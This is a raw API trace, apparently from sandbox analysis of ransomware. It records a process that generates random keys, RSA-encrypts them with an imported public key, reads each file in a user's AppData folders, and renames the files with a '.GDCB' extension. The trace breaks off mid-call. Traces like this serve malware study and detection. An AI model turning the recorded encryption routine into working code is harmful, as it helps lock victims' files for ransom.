MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log.gdcb")) returned 1 [0177.798] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0177.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.801] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0177.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.801] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0177.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.803] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.803] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0177.803] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.803] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0177.805] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x368ff08) returned 1 [0177.805] CryptGetKeyParam (in: hKey=0x368ff08, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.805] CryptEncrypt (in: hKey=0x368ff08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0177.805] GetLastError () returned 0x0 [0177.805] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.805] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0177.807] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690848) returned 1 [0177.807] CryptGetKeyParam (in: hKey=0x3690848, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.807] CryptEncrypt (in: hKey=0x3690848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d630*=0x100) returned 1 [0177.807] GetLastError () returned 0x0 [0177.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.819] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0177.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.821] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0177.821] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.821] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0177.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.823] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0177.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.823] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0177.825] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690948) returned 1 [0177.825] CryptGetKeyParam (in: hKey=0x3690948, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.825] CryptEncrypt (in: hKey=0x3690948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5340000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5340000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0177.826] GetLastError () returned 0x0 [0177.826] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.826] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0177.828] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690a08) returned 1 [0177.828] CryptGetKeyParam (in: hKey=0x3690a08, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.828] CryptEncrypt (in: hKey=0x3690a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5350000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5350000*, pdwDataLen=0x285d630*=0x100) returned 1 [0177.828] GetLastError () returned 0x0 [0177.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.828] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0177.830] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5360000 [0177.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5370000 [0177.832] ReadFile (in: hFile=0x510, lpBuffer=0x5370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5370000*, lpNumberOfBytesRead=0x285d670*=0x19b7, lpOverlapped=0x0) returned 1 [0177.837] VirtualAlloc (lpAddress=0x0, dwSize=0x19c0, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0177.841] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt.gdcb")) returned 1 [0177.848] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.850] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.850] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.850] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.850] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0177.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.851] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.851] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.851] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.854] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690a88) returned 1 [0177.855] CryptGetKeyParam (in: hKey=0x3690a88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.855] CryptEncrypt (in: hKey=0x3690a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5340000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5340000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.855] GetLastError () returned 0x0 [0177.855] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.855] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0177.857] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690788) returned 1 [0177.857] CryptGetKeyParam (in: hKey=0x3690788, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.857] CryptEncrypt (in: hKey=0x3690788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5350000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5350000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.857] GetLastError () returned 0x0 [0177.857] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.857] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.859] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5360000 [0177.861] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5370000 [0177.861] ReadFile (in: hFile=0x514, lpBuffer=0x5370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5370000*, lpNumberOfBytesRead=0x285d3e8*=0x4700, lpOverlapped=0x0) returned 1 [0177.879] VirtualAlloc (lpAddress=0x0, dwSize=0x4700, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0177.883] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1.gdcb")) returned 0 [0177.887] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0177.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.889] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0177.889] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.889] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0177.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.891] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0177.891] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.891] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0177.895] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690c08) returned 1 [0177.895] CryptGetKeyParam (in: hKey=0x3690c08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.895] CryptEncrypt (in: hKey=0x3690c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5340000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5340000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0177.895] GetLastError () returned 0x0 [0177.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.895] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.897] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x36905c8) returned 1 [0177.897] CryptGetKeyParam (in: hKey=0x36905c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.897] CryptEncrypt (in: hKey=0x36905c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5350000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5350000*, pdwDataLen=0x285d120*=0x100) returned 1 [0177.897] GetLastError () returned 0x0 [0177.897] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\52UK17NV\\www.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\52uk17nv\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.899] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0177.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.901] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0177.901] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.901] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0177.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.903] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0177.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.903] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.905] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690ac8) returned 1 [0177.905] CryptGetKeyParam (in: hKey=0x3690ac8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.905] CryptEncrypt (in: hKey=0x3690ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5360000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5360000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0177.905] GetLastError () returned 0x0 [0177.905] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.905] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.908] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690808) returned 1 [0177.908] CryptGetKeyParam (in: hKey=0x3690808, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.908] CryptEncrypt (in: hKey=0x3690808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5370000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5370000*, pdwDataLen=0x285d120*=0x100) returned 1 [0177.908] GetLastError () returned 0x0 [0177.908] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.911] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0177.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.914] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0177.914] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.914] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0177.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.916] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0177.916] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.916] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0177.918] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690bc8) returned 1 [0177.918] CryptGetKeyParam (in: hKey=0x3690bc8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.918] CryptEncrypt (in: hKey=0x3690bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5380000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5380000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0177.918] GetLastError () returned 0x0 [0177.918] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.919] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0177.921] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36906c8) returned 1 [0177.921] CryptGetKeyParam (in: hKey=0x36906c8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.921] CryptEncrypt (in: hKey=0x36906c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5390000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5390000*, pdwDataLen=0x285d630*=0x100) returned 1 [0177.921] GetLastError () returned 0x0 [0177.921] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.924] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0177.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.926] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0177.926] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0177.927] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0177.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.928] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0177.928] CryptReleaseContext 